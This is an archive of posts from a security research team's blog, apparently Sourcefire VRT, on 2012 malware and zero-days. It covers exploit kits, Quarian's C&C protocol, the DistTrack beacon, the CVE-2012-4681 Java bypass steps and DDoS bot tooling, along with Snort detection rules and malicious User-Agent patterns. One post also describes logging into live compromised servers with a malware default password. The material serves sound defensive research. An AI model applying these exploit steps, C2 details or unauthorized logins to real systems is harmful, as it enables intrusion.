Wednesday, December 19, 2012

EXPLOIT-KIT Java User-Agent downloading Portable Executable - Possible Exploit Kit

In our most recent rule pack, amongst the 39 new rules were two very important rules that may require a bit of analyst work when you see them alert.

The two rules I am referring to are:
* 1:25041 <-> ENABLED <-> EXPLOIT-KIT Java User-Agent flowbit set (exploit-kit.rules) 
* 1:25042 <-> ENABLED <-> EXPLOIT-KIT Java User-Agent downloading Portable Executable - Possible Exploit Kit (exploit-kit.rules)
25041 looks for a Java User-Agent outbound from your network in the User-Agent string of the http header.  While it's not totally unusual for Java itself to form http requests on the network, this will happen from time to time, that's not what we are focusing on.

25042 looks for an executable being downloaded onto the system, first checking to see if the flowbit from 25041 is set.  Meaning, that it's not a browser downloading an executable, it's actually Java.

From my continuing work on the "exploit-kit" category of rules, I've noticed that almost every single time a Java exploit is used to bring download an executable onto a compromised box, (which is almost every exploit kit I've seen so far) it's malicious.  In fact, we've had these rules in our test systems for about a month and we've seen zero false positives.

Now we know that every network is unique and while we didn't experience any false positives in the test systems that we have, I am sure they will occur in real life, so let me give you a hint of what to look for.

#1 -- Look at the URL that was the referrer for the download.

In the Sourcefire interface, we show you the hostname and URL that prompted the initial download of the file.  In this case, it's not so obvious to tell if this one is malicious, but if we look at the http header of the file being actually downloaded:

#2 -- Look at the header:

You can see the file is plainly named "calc.exe".  So a couple things indicate that this is bad.  "calc.exe" is the name of the built in calculator program that is installed on every Windows machine in the world.  There's no way that this file needs to be downloaded from the internet.  Second thing is, the name of the file being downloaded is different from the name of the file being requested.  Third, this is an indicator of the Blackholev2 Exploit Kit.

Let's look at another example.

While not obvious to the common observer, this is also an indicator of the Blackholev2 Exploit Kit downloading its payload.  If you'll noticed, it almost looks like there is a "mac address" in the url.  (It looks like a mac address, even though it's clearly not, we detect this as well with another rule shipped recently: 25043).  If you look at the header on this one:

You can see "readme.exe" right there under filename.

While it may be an extra layer of protection to write rules that look for these known bad files in the blackholev2 exploit kit, the way I wrote 25041 and 25042 will catch much more.

Here's an example of another exploit kit that was simply caught by these rules:

...and the header:

Now, even if you don't have a Sourcefire device you can still dump out the "extra data" fields from your unified2 logs and see exactly which url's prompted these downloads like I show above.  More information about how to use these fields can be found here:

Happy hunting!

Tuesday, December 11, 2012

Triggering Miniflame's C&C Communication to Create a Pcap

There are times when a malware's payload doesn't trigger because of a condition or an environment that the malware requires in order for it to execute its payload. Such is the behavior of the miniflame malware that we encountered recently.

To create a Snort signature, the network behavior of the malware needs to be triggered. The miniflame report from Securelist doesn't exactly specify the best setup to trigger the behavior. If this is an incident response, which is usually the case for a sophisticated malware like miniflame, and you need a signature, you have limited time to analyze the malware deeply.

According to the report the C&C communication is triggered by the .ocx files. The only samples that we had available are the 4.XX versions of the miniflame's .ocx components, which were named differently from the files mentioned in the report - so we have to sift out which files are which and then rename the file(s) appropriately before analysis. The files are all dll/ocx files.

We tried Regsvr32 /s [filename].ocx to trigger the communication but we didn't see any C&C activity in wireshark. Instead, after inserting the registry key below re-running the malware or rebooting the PC, the network behavior is triggered. This registry key has been also used as a prerequisite for other malware to talk to the network, like Conficker.


The CurrentControlSet\Services subkeys under HKLM/SYSTEM contain entries for standard and optional Windows services, such as device drivers, file system drivers, and Win32 service drivers. The Network Location Awareness (NLA) service provider enables Windows Sockets 2 applications to identify the logical network to which a Windows computer is attached.

According to the report, “If the file “icsvnt32.ocx” is installed without errors, the module then changes the target registry key’s default value to “%windir%\system32\icsvnt32.ocx” - so instead of reverse engineering the code further, we just need to modify the value of ServiceDll and point it to our ocx file.

The network packets below were captured and as we can see from the POST request (highlighted in orange) the malware communicated with the C&C server:

As we can see the malware connected to, which is one of the C&C servers listed in the report:

With live traffic now successfully captured, detection was easy - a combination of the URL from the packet above and any of the hosts the malware is known to connect to. It’s been released as Snort SID 24406.

Thursday, December 6, 2012

Quarian: Reversing the C&C Protocol

Win.Trojan.Quarian was reportedly first found in a leaked email from the Syrian Ministry of Foreign Affairs. It arrives on the victim's machine via a PDF document. The PDF contains an exploit for CVE-2010-0188 which, if successful, passes execution to embedded shellcode. The shellcode then extracts 0x8A218 bytes at offset 0xD98 in the PDF decrypting this with a XOR cipher and saving it as "%TEMP%\explorer.exe", which is the main malware executable. An embedded PDF document "%TEMP%\964.PDF" is similarly dumped and a new Adobe Reader process is launched to display it. The user is presented with this PDF with the malware running in the background.

The malware's CNC traffic will depend on the proxy settings of the infected machine. If a proxy is configured then the malware will attempt to connect to it with the following:

User-Agent: Mozilla/4.0
Content_length: 0
Proxy-Connetion: Keep-Alive
Pragma: no-cache

The malware's CNC host "" is hardcoded. Also notice the misspelled "Proxy-Connetion" and the underscore and lowercase 'l' in the header "Content_length". These anomalies in the proxy connection are easy to spot in the main malware executable and on the wire. However, the direct CNC traffic is not. Every time the malware loads it sends 8 bytes to "". Since the CNC server was not online at the time we began our research we couldn't make any observations on the response to these 8 bytes. We decided to reverse the CNC protocol and see if we could send the malware commands:

Starting with the hypothesis that the first 8 bytes sent to the CNC server were some kind of key, we attached the malware process in a debugger and began to observe the malware's behavior when bytes were sent as a response to the malware's initial 8 byte message.

We noticed that when sending 8 NULLs in a response some of the comparisons made by the malware code would result in the 8 byte key that was sent. From this observation we knew the malware was expecting an XOR key from the CNC server in order to process commands. After some trial and error, we had a local CNC server up and running:

The CNC protocol uses a XOR key on both sides to communicate commands and responses. If a direct connection exists (or after starting a proxy connection) the malware will send CNC an 8 byte XOR key. CNC will then respond with its own 8 byte XOR key XOR'd with the malware key. When CNC sends a command, it XORs each byte of the command with the cnc_key, and when the malware sends a response it XORs each byte of the response with the mal_key:

   Malware            Command and Control
-------------         -------------------
      mal_key  ---->
               <----   mal_key ^ cnc_key
               <----       cmd ^ cnc_key
res ^ mal_key  ---->

Commands are implemented in a switch statment where 0x01 dumps various system info and 0x06 starts a shell. If a command has an argument, it immediately follows the command byte. See the IDA dump below:

As always, the VRT has coverage for this threat with SIDs 24858 & 24859 on the Snort side and Sig Win.Trojan.Quarian for Clamav.

Thursday, November 8, 2012

Web Proxies, User-Agent Strings, and Malware Detection

One of the simpler ways to identify malware-infected machines communicating with their command and control servers is to watch for known malicious User-Agent strings in HTTP requests. For those not familiar with them, User-Agent strings are added to almost all HTTP queries on the Internet, and are designed to uniquely identify the particular browser, tool, or other piece of software generating the query, so that appropriate data can be returned based upon the type of system issuing the request. As an example, different JavaScript might be supplied by an intelligent web server to Internet Explorer vs. Chrome or Firefox, to deal with cross-browser compatibility issues; or a server might redirect a user to the mobile version of a web page if their User-Agent string declares the request to be coming from an iPhone or an Android device. While it might seem counter-intuitive that malicious programs would overtly declare themselves in something that servers are trained to investigate regularly, the VRT has seen countless such declarations in the wild, including "User-Agent: Malware" in one request highlighted in my Malware Mythbusting talk last year.

Unfortunately, web proxies sometimes alter the original User-Agent string generated by a client system as a given HTTP request traverses the proxy system. For example, we recently ran into a scenario where the BlueCoat Proxy was rewriting all client User-Agent strings to "Mozilla/4.0 (compatible;)", which was generating false positives with SID 21444. While the rule has since been fixed - a crucial space was unintentionally stripped from the spot just before the closing parenthesis during an automated rule-checking process - knowing that the User-Agent strings were all being mangled in this way leads us to a very important point about the efficacy of these types of rules in production environments.

Realistically, what this means for you is that if you've got an IDS inspecting client traffic headed out to the Internet - and that IDS is positioned after a proxy server, but before a final outbound link to the Internet (a typical configuration, as many IDS users place their devices just inside the firewall, at a final choke point that all internal devices must go through on their way out to the Internet) - you're going to be missing valuable data if your proxy server is rewriting User-Agent strings. Certainly, there are many proxy servers that do valuable detection of their own based on User-Agent strings; while researching this post, for example, I noted that BlueCoat systems can be configured to block outbound connections over HTTP for requests without a User-Agent string, a behavior which I would strongly encourage based on things like binary C&C channels operating over HTTP. That said, if you're expecting that your IDS will help you find infected clients based on User-Agent strings in this type of a configuration, you'll end up with a false sense of security, since the IDS will never see the indicators it's looking for.

Do yourself a favor the next time you've got a free moment, and go double-check this on your network if you're running a web proxy of some kind and you're not entirely certain how it behaves. If you are suffering from this lack of visibility, consider positioning your IDS in a way to see the original queries, disable User-Agent rewriting on your particular proxy server, or training the proxy server to look for known-malicious User-Agent strings. You may be surprised at what you find once you're properly configured for detection.

Sunday, October 21, 2012

Information Superiority

I presented yesterday at the 9th annual Hackers2Hackers conference in Sao Paulo on the subject of information superiority, a subject the VRT has long been fond of. My slides are here for those who'd like to read them.

In a nutshell, the talk made the point that, if you know where to look, you can find almost everything you need to stay secure against any sort of threat on the Internet. A surprising  number of information sources are actually freely available on the Internet - even if you're not a security vendor - and many of these are listed in the presentation, so that anyone who's responsible for keeping a network secure can be using these sources.

After all, knowing is half the battle.

Tuesday, October 16, 2012

itsoknoproblembro, the VRT has you covered

When the large-scale DDoS attacks on American banks began a couple of weeks ago, the VRT started digging through all of our sources of information, looking to understand the precise tactics being used, so that we could put together the best possible protection strategy for potentially impacted customers. Amazingly enough, all of the information you need to protect yourself is actually already publicly available - if you're looking closely enough.

Unsurprisingly, the best place to look is PasteBin (if you're not paying attention to that treasure trove of information, you need to start now). We actually located five different copies of pieces of the tool (1, 2, 3, 4, 5) being used there, complete with the names of the files being used in the web-based control panels, as well as code that builds up default packet contents for attacks. Some sample code is below, bolded for ease of reading:

You can clearly see things here like the parameter "action=start" being used to control the infected host, as well as a string of an abitrary number of "A"s being built before being sent to a specified TCP port on the client.

Based on the pages being used, including indx.php, stph.php, stcp.php, etc., we did some directed Googling, and quickly confirmed that compromised servers were turning up in the wild:

Amazingly enough, we had discovered a related sample in our malware database that included a default password. When used on live sites, it granted access as expected. We didn't stick around long, but it gave us just enough information to confirm our suspicions about how the operation works.

The impressive levels of bandwidth being used to blast targets - which have been reported to range as high as 100 Gigabits per second - are being generated by compromising systems with high-bandwidth links, thus lowering the number of total systems necessary to bring an overwhelming wave of junk traffic to bear. The scary thing about this tactic, of course, is that even regular residential bandwidth is increasing substantially over the last few years. For example, my personal home connection has 25 Megabits of upstream capacity; assuming that a compromised machine there could get even a sustained rate of half that speed outbound, only 8,000 such systems would need to be controlled in order to generate a 100 Gbps attack. Given that past botnets such as Rustock have claimed "anywhere between 150,000 and 2,400,000 machines", DDoS attacks like this are likely to continue going forward.

So, you ask - how exactly do I protect myself from this attack? Making sure that you're not going to become an unwitting accomplice to a scheme like this is fairly simple - keep your systems secure, and run Snort SIDs 24388 - 24394 (plus ClamAV sigs PHP.Trojan.itsoknoproblembro*). Since the actual malicious code has lots of static markers, detection is quite straighforward.

For potential victims of this attack, you'll want to start by enabling SIDs 24395 and 24396. While the rules are quite simplistic - they look for large chunks of "AAAA..." on ports UDP/53 and TCP/80 - they will effectively block traffic generated by the current iteration of this botnet. Of course, it's trivial for the attackers to change their tactics, and you should be closely examining your traffic if you feel you're under attack; additionally, even the best IPS isn't going to help you too much if you're having, say, 50 Gbps of traffic stuffed down a 10 Gbps pipe into your facility. To that end, we recommend working closely with upstream providers, law enforcement, and any other resource providers that you trust in the information security community. The bad guys are all coordinating on attacks like this, and we as defenders should be as well.

Tuesday, September 18, 2012

Internet Explorer use-after-free 0-Day vulnerability

A new vulnerability has been discovered that affects Internet Explorer 6, 7, 8 and 9 on Windows XP, Vista, 7, Windows Server 2003 and 2008 . It is still unpatched at the time of this blog post.

Late Sunday Eric Romang reported that the Nitro cybercrimal gang, which just a few weeks ago was responsible  for a series of attacks that was taking advantage of  the "Java 0-day" (CVE-2012-4681) , was hosting some suspicious files on their servers. Upon further investigation, Eric found that running one of the said files led to code execution in the context of the logged in user on his fully patched Windows system.

Dr. Zulfikar Ramzan, Chief Scientist of Sourcefire's Cloud Technology Group, describes the recent Internet Explorer Zero Day vulnerability in this video:

The vulnerability is a "use-after-free" and exploiting it starts with the creation of an array with a large number of DOM objects:

In the public exploit (see screen shot above), a for loop is used to created a large number of image objects in the array. An image element is used in this case, but any type of object could have worked.

Later in the script, the use of the "selectall" execCommand is made to select all the DOM objects created, thus creating a reference to all the objects in the array. After all the objects have been selected, a function needs to rewrite the objects stored in the array to an address on the heap (could be obfuscated). The references are no longer properly resolved once the objects are rewritten, which allows for improper address dereference.

Snort rules 24210 and 24212 detect the execCommand use-after-free attempt. On the ClamAV side, the signature JS.Exploit.CVE_2012_4969.gen provides coverage.

As information related to this vulnerability is widely available, and given that a module has been released for the Metasploit framework,  we encourage users to use Microsoft's Enhanced Mitagation Experience Toolkit or even better, consider not using Internet Explorer (or applications that make use of Internet Explorer) on the affected platforms until a patch is released.

Late yesterday, Microsoft released a security advisory to address reports that attacks are being leveraged against this 0-day vulnerability.

Thursday, September 13, 2012

Using negative distance to create detection windows

A common method for delivering malicious pages to clients is with the use of hidden iframes. Before I get started I want to say that I have seen hidden iframes used legitimately and the rule discussed will not be in any policies by default, due to the risk of false positives.

The hidden iframe is typically created with something like this
<iframe width=1 height=1 style=visibility:hidden

This creates an iframe that the user doesn't see and loads whatever the attacker wants in the victim browser. HTML doesn't require that the parameters of the iframe be in any order so the example below produces identical behavior.

<iframe height=1 width=1 style=visibility:hidden

A rule could be written for each possible combination of the parameters, or a single rule could use PCRE to detect each combination, or ... distance and within can be used to create "windows" for each content match.

We know this will start with <iframe 

file_data; content:"<iframe "; nocase;

The remaining items can be in any order but the width, height and style parameters total up to 41 bytes. Next we look for the width parameter.

content:"width=1"; nocase; distance:0; within:50;

The next content match will look for height but we want to find it before or after width. The distance modifier can take a negative value to move the cursor back and within can be used to limit how far forward it searches.

content:"height=1"; nocase; distance:-40; within:80;
content:"style=visibility|3a|hidden"; nocase; distance:-40; within:80;

This combination of distance and within will find the height parameter 40 bytes before or after the width parameter. Then it will find the style parameter 40 bytes before or after the height. Since our entire string was 41 bytes this will detect the height, width and style parameters in any order. This is much less expensive than entering the PCRE engine, particularly since you'd need to check for all possible permutations of the three elements each time you entered. Worse yet, a PCRE rule to detect this would enter very often since there is not a unique string for fast_pattern to use.

The full rule looks like this:

 alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"INDICATOR-OBFUSCATION hidden iframe - potential include of malicious content"; flow:to_client, established; file_data; content:"<iframe "; nocase; content:"width=1"; nocase; distance:0; within:50; content:"height=1"; nocase; distance:-40; within:80; content:"style=visibility|3a|hidden"; nocase; distance:-40; within:80; classtype:bad-unknown;)

Like I said at the beginning of the post, I have seen hidden iframes used for legitimate things so this runs a risk of false-positive. It makes an excellent example of negative distance to create detection "windows".

Another, very important, note: if the negative distance moves the cursor further back than the beginning of the current buffer, Snort will stop evaluating the rule and there will be no alert. Using the above example, if the width parameter is only 10 bytes into the buffer the negative distance applied to the height parameter would move the cursor 30 bytes before the beginning of the buffer. Snort will stop evaluating the rule and no alert will be generated. While this is not a concern for this particular piece of detection - which is in today's SEU as SID 24168 - since standard HTML tags to start a page will ensure that an iframe will not fall within the first 40 bytes of any given page, it's worth keeping in mind if you're developing your own rules using this technique.

Dorifel (aka Quervar, XDocCrypt)

Dorifel (aka Quervar, XDocCrypt) is a worm that is allegedly related to the Citadel trojan. Although it's been found worldwide, the Netherlands have been particularly affected by this piece of malware for the past several weeks.

Why is this noteworthy? Once executed, Dorifel will search for all Microsoft Word documents on your system, including network shares. The Word documents found are encrypted using the following hexadecimal RC4 key:

0d 0a 05 0f 59 7b 38 5a 5b 36 31 69 7e 0d 0d 09

Moreover, the virus body is prepended to the encrypted document and the two are separated by the string:


The initial infector has references to the TV series "Breaking Bad" and the movie "Scarface", as seen below (both in plaintext in the first screenshot, and in ROT13 in the second):

We've had ClamAV coverage for this destructive piece of malware in ClamAV as WIN.Worm.Dorifel for the last couple of weeks. Snort SIDs 24144 and 24145 will detect the binary coming in over standard file delivery mechanisms such as HTTP/SMTP/etc., and SIDs 24143 and 24146 look for post-compromise behavior.

Wednesday, September 12, 2012

The Best Defense is a Good Defense

As things stand, Snort is at version and is constantly being developed to integrate new and more powerful features and detection. The VRT fairly regularly receives inquiries from folks on how to get our current rule packages to seamlessly integrate with their existing versions of Snort, which are beyond their end of life (EOL). These versions currently include anything older than Snort, as found here: with set to ride off into the sunset on 2012-10-17. (

The Sourcefire VRT is focused on providing the best protection possible. In order to do this, we need to make sure that our open source users upgrade to the newest version of Snort and pay heed to the EOL schedules. Simply put, the newer features that have been added, as well as most of the rules developed to combat present day threats, will not work with older versions of Snort. This always leads us to recommend that you should perform a simple upgrade.

Remember, your Intrusion Prevention System (IPS) is not an archaic performance machine that can be nurtured and tweaked with aftermarket parts, WD40, and duct tape with the hope it’ll be the best it can be. Your IPS is meant to be the most advanced and up-to-date defensive technology you can put between you and the bad guys. Threats evolve every day. The VRT writes detection content as the Snort team writes code features, both of which evolve Snort to help you defeat these threats. Why would you not upgrade to the best possible chance of protection that your IPS is capable of providing?

Let us know if you need help by writing the Snort-users mailing list found below.

Monday, September 10, 2012

Anomaly Detection Rules & The Success of Open-Source Rule Testing: Don't Do That, Part 2

Last November, the VRT established an open-source rule testing group, composed of a number of Snort users from around the planet in industries as diverse as defense contracting and education. To date, we've tested well over a hundred rules with this group, and have had a great deal of useful feedback in the process - which has led to both killing rules that didn't perform as well as expected in the field, and the release of rules that we would have never previously dared to put in public after seeing them function well with the test group. I wanted to take a moment today to publicly thank the members of the group for all of their efforts, and to highlight some of the cool work that's come out of this project.

Rules worth highlighting include:

* SID 21941, "INDICATOR-COMPROMISE Wordpress Request for php file in fgallery directory". The fgallery plug-in for WordPress is a common target for remote file inclusion attacks; automated scanners are roving the Internet at this very moment looking for vulnerable installations. Since the directory the rule looks for in the URI should only ever have image files in it, looking for PHP files in that directory is a great generic indicator that a compromise has taken place.

* SIDs 21544-21546, "MALWARE-CNC Possible host infection - excessive DNS queries for .cn/.ru/.eu". We had observed several pieces of malware which cycled through a large number of domains on these TLDs in an attempt to find that day's algorithmically generated command and control location, and wanted to ensure that the rate at which we chose to alert on these queries was high enough to avoid problems in the field. These signatures have proven very useful as generic infection indicators since their release; we're happy to expand them to any other TLD where the false positive rate is low enough to be useful.

* SIDs 22033, 22034, "MALWARE-CNC Apple OSX Flashback malware outbound connection". The User-Agent strings used by the Flashback malware, while only one piece of the overall detection puzzle, were a perfect example of why this group was put together - they looked likely to cause false positives, but would be an ironclad indicator of infection if they were not standard slices of normal, in-field User-Agent strings.

* SID 21860 "EXPLOIT-KIT Phoenix exploit kit post-compromise behavior". This rule looks for a User-Agent string that appears perfectly normal, but for the inclusion of "Windows 98" (which we felt was likely to be exceptionally rare on networks protected by Snort, given the age of that operating system). Since we're continually surprised by the age of systems we're protecting, however, we wanted to check this before release.

* SIDs 23481, 23482 "INDICATOR-OBFUSCATION hex escaped characters in setTimeout/AddEventListener call". See this previous VRT post for details.

* SID 23621, "INDICATOR-OBFUSCATION known packer routine with secondary obfuscation". This rule takes advantage of the fact that one of the most widely-used JavaScript packers on the Internet (Dean Edwards' "function(p,a,c,k,e,d)" routine) gives the original names of the functions used in the code that's being obfuscated. Since certain calls such as fromCharCode(), charCodeAt(), parseInt(), and eval() are much more common in malicious JavaScript than normal JavaScript, the rule looks for three of them that were involved in an exploit kit observed in the wild by a Sourcefire customer.

* SID 23798, "MALWARE-OTHER Malvertising redirection page". A common technique for embedding malware on otherwise innocuous pages is to use hidden Iframes; this rule looks for these tags with height and width values of 0. Since we were uncertain as to the frequency of such elements in legitimate pages, testing this rule prior to release was crucial to ensure we didn't trigger an avalance of false positives.

* SIDs 23831, 23832, "WEB-CLIENT non-alphanumeric javascript detected". Put together in response to a new JavaScript obfuscation routine, these rules rely on strings which could have easily occurred in legitimate pages. Testing proved that our signatures were specific enough to catch only this encoding routine, and not legitimate activity.

* 24103-24110, "INDICATOR-COMPROMISE HTTP POST request to a JPG/JPEG/GIF/PNG/BMP/RAR/ZIP/MP3 file". This group of signatures detects HTTP POST transactions being sent towards files which generally do no process POST data. While our testing revealed some false positives, the rate was low enough that these rules were published anyway, outside of default policies an with appropriate documentation on how to check whether a hit was in fact a false positive.

* Several of our less-specifc signatures for the Blackhole exploit kit have either been released or put into the balanced policy after testing through this group revealed that they were free of false positives.

Current members of the group who have consented to being publicly named include:

* James Lay, Winco Foods

* Peter Bates, University College London

* Ralf Spennenberg, OpenSource Training

* Christian Teutenberg/Sandra Sucevic, Telstra

Thanks to them and the others whose management/policies have dictated keeping their contributions private. We wouldn't be as awesome as we are without you!

For those who may be interested in joining this group going forward, please drop me a line at akirk < at > sourcefire < dot > com. Also, if you missed out first "Don't Do That" rules post, it's worth a read, as it highlights several  anomaly detection rules that are still useful over two years later.

Tuesday, September 4, 2012

Matryoshka packets

I have heard many people talk about ICMP and UDP tunnels but very rarely observed them in the wild. We recently had the opportunity to examine a sample that uses this technique for C&C. It communicates by either an ICMP echo with a data section that includes a full TCP SYN packet, or a UDP packet destined for port 53 with a payload that also includes a full TCP SYN packet.

Both methods have a data section with an Ethernet frame, IP header, and TCP header. Many of the fields associated with these headers are fixed length and a few of them will remain fairly consistent across connections. Using these fixed lengths and consistent values we can start building a Snort rule that inspects the payload of these packets for a TCP SYN. The ICMP and UDP packets are also arranged so that the embedded packet in the payload starts at the same point.

The first header within the payload is the destination MAC, source MAC and type. The type will typically be IPv4 so the Snort rule will start there. The offset and depth combination make sure detection is at the correct position in the packet.

content:"|08 00 45|"; offset:12; depth:15;

The next reliable fields we look for are the IP fragment and offset. The distance and within will skip over a few more dynamic fields while ensuring it does not go beyond the fragment and offset fields.

content:"|00 00|"; distance:5; within:7;

The IP header also contains a type field, in this case the type is TCP.

content:"|06|"; distance:1; within:1;

Finally the acknowledgement number for an initial SYN will be null.

content:"|00 00 00 00|"; distance:18; within:22; 

This all results in SIDs 24087 and 24088, which will alert on each packet tunneled in this manner. ClamAV coverage can be found under the name Trojan.Win32.Bledoor.

Different methods of creating these tunnels might require an adjustment of the depth/offset on the first match but the rest are relative to the first match, though searching through the last several months worth of traffic from our malware sandbox showed no other samples using this type of technique. If you come across a tunnel similar to this, and want help creating detection for it, drop us a line at vrt < at > sourcefire < dot > com, and we'll be happy to help.

Tuesday, August 28, 2012

CVE-2012-4681: bypassing built-in java security

A new Java 0-day is running rampant around the internet this week. With a code paste Sunday night and a Metasploit module coming in early yesterday morning, along with myriad research and blog posts, this Java vuln is sure to be the topic of the week. Based on information in the pastie link and the usage of the Gondzz and Gondvv class files in the alienvault blog post, plus analysis we've done on the samples we've seen in the wild, we've deduced that the exploit runs as follows:

-Use the Statement() method to set up a new SecurityManager.
-Create an object with the following attributes:
    a. Permissions object with AllPermissions() set.
    b. A ProtectionDomain for the url, using local file "file:///"
    c. Set up an AccessControlContext for that ProtectionDomain
-Call to the user defined function SetField with string "acc", passing along localStatement to complete the object.
-Inside that function we set an Expression with getField and use the variables passed in. Additionally we make a call to another user defined function, GetClass.
-In GetClass we finish setting up the object with a last Expression passed in with string forName (for acc, an AccessControlContext field) in the class sun.awt.SunToolkit. What this does is replaces the default value for the AccessControlContext object with the one for acc.
-Once the function has returned we run .execute() on the Expression objects.
-At the top level we execute the now fully populated Statement and presumably have full local execution access.

In each case of Statement or Expression, there is a call to var.execute() which takes the statement that has been created as a string and executes it as code. There are two specific access violations that occur during the execution of the code:
-Accessing the "acc" field using Class.forName.
-Using getField on sun.awt.SunToolit, a restricted package.

By using Statement and Expression methods to make these calls, they bypass access violation checks. Once the code has created a file with admin rights on the system, it can call calc.exe like in the POC or download a trojan like the exploit in the wild does.

The scariest part about all of this is that the next scheduled Oracle patch release is October 16. As Oracle has a policy of not issuing out-of-band updates, this means nearly two months of time where attackers can exploit this without root mitigation by the vendor. In the interim, security researcher Michael Schierl has released an unofficial patch, which is for now only available by request.

In the interim, we've released SIDs  24020 to 24028 and 24036 to 24038 to cover this in Snort, and JAVA.Exploit.Agent JAVA.Exploit.Agent-1JAVA.Exploit.Agent-2 WIN.Trojan.Agent-131 on the ClamAV side. We'd urge you to add these to your setup as soon as possible (especially since the authors of the Blackhole exploit kit are incorporating this vulnerability already), and to consider disabling Java in whatever browsers you can.

[Ed.: Oracle released a patch to address this issue on August 30. While done without much explanation or fanfare, well-done to the security folks at Oracle for getting on top of this issue so quickly.]

Tuesday, August 21, 2012

SMSZombie: A New Twist on C&C

One of the most virulent pieces of Android malware to date was recently discovered by TrustGo Labs. Dubbed SMSZombie, this malicious application has infected some 500,000 users throughout China, after having been distributed through the GFan mobile application marketplace.

In some ways, the malware is not particularly novel, as it uses photographs of scantily clad ladies to lure in unsuspecting users, a trend we've observed across many distinct types of Android malware:

What's surprising about it is the fact that its command and control traffic is sent entirely over SMS, instead of the more traditional HTTP or other TCP-based packet. This behavior can be observed very rapidly after installing the application (which kindly returns you to the installer screen if you hit cancel instead of install, making it exceptionally obnoxious to remove); the following two messages were sent when we ran it in our lab:

Number: 13093632006
Message: 1.5V:ModelGT-I9000;os2.1-update1;Languageen;NET3G

Number: 13093632006
Message: The program runs again

Interestingly enough, while examining the APK files for keys to detection, we noticed some odd artifacts left by the authors, including an apparent Chinese name of "baoxian zhushou". While that name alone is insufficient for detection - it pulls up legitimate apps in the Google Play store - combined with the name of one of the JPEG files included in the package, it makes for a solid way to find all variants we've observed of this malware.

Since IDS analysts of any stripe are unable to detect SMS messages being sent, we urge mobile providers to watch for these numbers and other related activity as best they can. We're providing Snort SID 23954 to look for patterns we've detected within the malicious APKs themselves, in case it can be blocked at the HTTP level during a download (depending upon the particular environment being protected).

In the meantime, concerned users should be examining their Android antivirus solution for protection. While TrustGo claims that theirs is the only antivirius solution capable of detection, ClamAV detects this malicious app as Andr.Trojan.SMSZombie, and the recently released FireAMP mobile client will detect it as well.

Stay safe out there!

Thursday, August 16, 2012

New Threat: DistTrack

 Sourcefire is aware of at least one ongoing incident in the energy vertical involving a threat named "DistTrack".  This is a new, destructive threat that has not perviously been seen in the wild.  At this time, the earliest known sightings were on 8/14.  Preliminary indications are that this malware is currently targetted in nature as no wide-spread activity has been detected.

This threat involves several files that perform different functions.  The core of the malware set is a 32-bit executable named trksvr.exe and is internally identified as "Distributed Link Tracking Server".  This file purports to be from Microsoft Corporation with a version number of 5.2.3790.0.  This file is responsible for dropping additional files involved in the malware set.  In some cases this file has been reported as str.exe.

The trkssvr.exe file drops three files: a reporter executable, a data destruction executable and 64-bit executable, also named tsksvr.exe that runs as a service.  The reporter executable is responsible for communicating with a C&C server.  An interesting part of this executable is that its hard-coded with the C&C address in the .rdata block, as well as a URL for communicating.  The URL in .rdata is /ajax_modal/modal/data.asp and the construct for reporting is http://%s%s?%s=%s&%s=%s&state=%d (you'll see the parameter names mydata and uid as separate unicode strings in .rdata as well).  While communicating with the C&C server, it uses "you" as the user-agent string.  The request appears on the wire as:

GET /ajax_modal/modal/data.asp?mydata=AA==&uid=aaa.bbb.ccc.ddd&state=3067203 HTTP/1.0
User-Agent: you

The danger from this malware comes from the data destruction component.  In short, this application does not pull any punches.  Four hours after infection, it overwrites data files with a portion of a jpeg file, targetting files in "Documents and Settings", "Users", "Windows\System32\Drivers and "Windows\System32\Config".  Once this is done the file overwrites the MBR of the machine, rendering it unable to boot.  Any analysis of this malware should occur only on virtual machines or on computers you are ready to completely rebuild.

Analysis of this threat and its behavior in the wild are ongoing.  Detection for these threats is already in place for FireAMP, Snort and ClamAV.  In IPS mode, Snort will prevent contact with the command and control server and identify infected hosts.  Protection is provided by ClamAV and FireAMP.  Additionally, FireAMP's Threat Root Cause and quarantining capability will provide additional incident response and mitigation capability.  Here is a list of currently available detection:

FireAMP : W32.Distrack.AP
ClamAV : Win.Trojan.DistTrack
ClamAV : Win.Trojan.DistTrack-1
Snort: BOTNET-CNC Win.Trojan.DistTrack command and control traffic (23893)
Snort: BLOCKLIST User-Agent known malicious user agent - you", (23903)

Additional detection will be released as analysis and research generate further actionable data.

You know, it isn't often that we can say something is targeted and also talk about a widely distributed, devastating payload like this one.  While all the facts aren't yet available, someone somewhere made a very interesting decision.

CVE-2012-1535: Flash 0-day In The Wild

Yesterday Adobe released APSB12-18, which addressed CVE-2012-1535. As noted in the Adobe bulletin, the vulnerability has been actively exploited in the wild, though primarily in targeted attacks wrapped in Microsoft Word documents.

The VRT was able to obtain a sample of one of the documents that has been circulating in the wild, and has created several new rules that detect it. While the vulnerability itself is complex - as are most Flash issues - there are several extremely obvious indicators of malicious intent in the file, including plaintext strings and several unencoded, unobfuscated characters commonly associated with heap spray techniques. Given that even compressing the Flash - which is trivial to do, and commonly found in the field - would have obscured these indicators, we're a bit puzzled as to why the actors behind these attacks chose not to do so, particularly since sending such an obviously malicious file presented them with the risk of having their 0-day attack discovered.

We've released several new rules today to detect this attack. SIDs 23853 and 23854 look for the underlying vulnerability, and 23856 and 23857 will detect the specific Flash files used in the document mentioned above. SIDs 23857 - 23862 look for different variants of the heap spray bytes used in this attack, that are common in other attacks in the field.

It's also worth noting that SIDs 18546 or 18549 (depending on the delivery mechanism - HTTP vs. SMTP, respectively), which look for Flash files embedded in Word documents, would have caught this attack prior to discovery by any party. While there are occasional legitimate uses for such documents, you may wish to consider enabling those rules in your particular environment - especially if you're willing to trade 0-day detection for the occasional false positive.

Friday, August 10, 2012

Gauss & FinFisher: The latest targeted malware everyone cares about.

This week has been a busy one for high-profile malware. A pair of new types of malware - Gauss and FinFisher - have people around the world worried, and media churning out concerned articles as fast as they can be written. Fortunately, the VRT has you covered, so you can spend the weekend relaxing instead of trying to ensure that you're safe from these threats.

Gauss is a recently discovered malware platform specifically designed to collect and steal credentials from targeted users for various email and instant messaging accounts, social networks, and banking systems. Gauss is "modular malware."  It contains various modules and ActiveX controls to do its bidding and its payload is fully encrypted.  Based on the data released by Kaspersky Labs, the vast majority of Gauss infections have been found in Lebanon, Israel, and Palestine. This surprisingly small geographic region indicates it's likely a targeted attack.

Behavioral analysis reveals the malicious command and control domains for Gauss:

